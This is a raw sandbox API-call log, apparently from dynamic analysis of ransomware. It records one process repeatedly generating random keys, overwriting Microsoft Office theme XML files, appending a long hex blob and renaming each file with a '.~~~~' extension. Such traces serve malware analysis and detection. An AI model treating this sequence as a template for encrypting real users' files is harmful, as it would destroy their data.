	[0122.180] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.182] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.182] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.182] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.182] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.182] CloseHandle (hObject=0x138) returned 1
	[0122.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.182] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.~~~~")) returned 1
	[0122.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.183] GetLastError () returned 0x0
	[0122.184] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.185] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.185] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24217511356) returned 1
	[0122.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb24b9590, dwHighDateTime=0x1d60e1e)) 
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e9c8
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e9c8 | out: hHeap=0x300000) returned 1
	[0122.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.186] GetLastError () returned 0x0
	[0122.186] GetLastError () returned 0x0
	[0122.186] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.186] GetLastError () returned 0x0
	[0122.186] GetLastError () returned 0x0
	[0122.190] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.190] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c2, lpOverlapped=0x0) returned 1
	[0122.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.191] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.192] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.192] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.192] CloseHandle (hObject=0x138) returned 1
	[0122.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3902c0
	[0122.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.~~~~")) returned 1
	[0122.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3902c0 | out: hHeap=0x300000) returned 1
	[0122.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.194] GetLastError () returned 0x0
	[0122.194] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.196] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.196] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24218607589) returned 1
	[0122.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb24df6f0, dwHighDateTime=0x1d60e1e)) 
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ea00
	[0122.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ea00 | out: hHeap=0x300000) returned 1
	[0122.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.197] GetLastError () returned 0x0
	[0122.197] GetLastError () returned 0x0
	[0122.197] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.198] GetLastError () returned 0x0
	[0122.198] GetLastError () returned 0x0
	[0122.212] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.212] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.213] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.213] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.214] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.214] CloseHandle (hObject=0x138) returned 1
	[0122.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0122.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.~~~~")) returned 1
	[0122.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0122.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.229] GetLastError () returned 0x0
	[0122.230] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.231] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.231] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.232] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24222169291) returned 1
	[0122.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb252b9b0, dwHighDateTime=0x1d60e1e)) 
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ea70
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ea70 | out: hHeap=0x300000) returned 1
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.233] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.233] GetLastError () returned 0x0
	[0122.233] GetLastError () returned 0x0
	[0122.233] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.233] GetLastError () returned 0x0
	[0122.233] GetLastError () returned 0x0
	[0122.250] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.250] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.252] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.252] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.252] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.253] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.253] CloseHandle (hObject=0x148) returned 1
	[0122.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3902c0
	[0122.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.~~~~")) returned 1
	[0122.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3902c0 | out: hHeap=0x300000) returned 1
	[0122.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.255] GetLastError () returned 0x0
	[0122.255] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.256] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.257] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.257] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24224693444) returned 1
	[0122.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2577c70, dwHighDateTime=0x1d60e1e)) 
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eae0
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eae0 | out: hHeap=0x300000) returned 1
	[0122.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.258] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.258] GetLastError () returned 0x0
	[0122.258] GetLastError () returned 0x0
	[0122.258] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.259] GetLastError () returned 0x0
	[0122.259] GetLastError () returned 0x0
	[0122.284] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.284] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c2, lpOverlapped=0x0) returned 1
	[0122.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.287] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.287] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.287] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.287] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.287] CloseHandle (hObject=0x148) returned 1
	[0122.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3904e8
	[0122.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.~~~~")) returned 1
	[0122.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3904e8 | out: hHeap=0x300000) returned 1
	[0122.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.289] GetLastError () returned 0x0
	[0122.290] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.291] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.291] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.292] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24228194040) returned 1
	[0122.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb25c3f30, dwHighDateTime=0x1d60e1e)) 
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eb50
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eb50 | out: hHeap=0x300000) returned 1
	[0122.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.293] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.293] GetLastError () returned 0x0
	[0122.293] GetLastError () returned 0x0
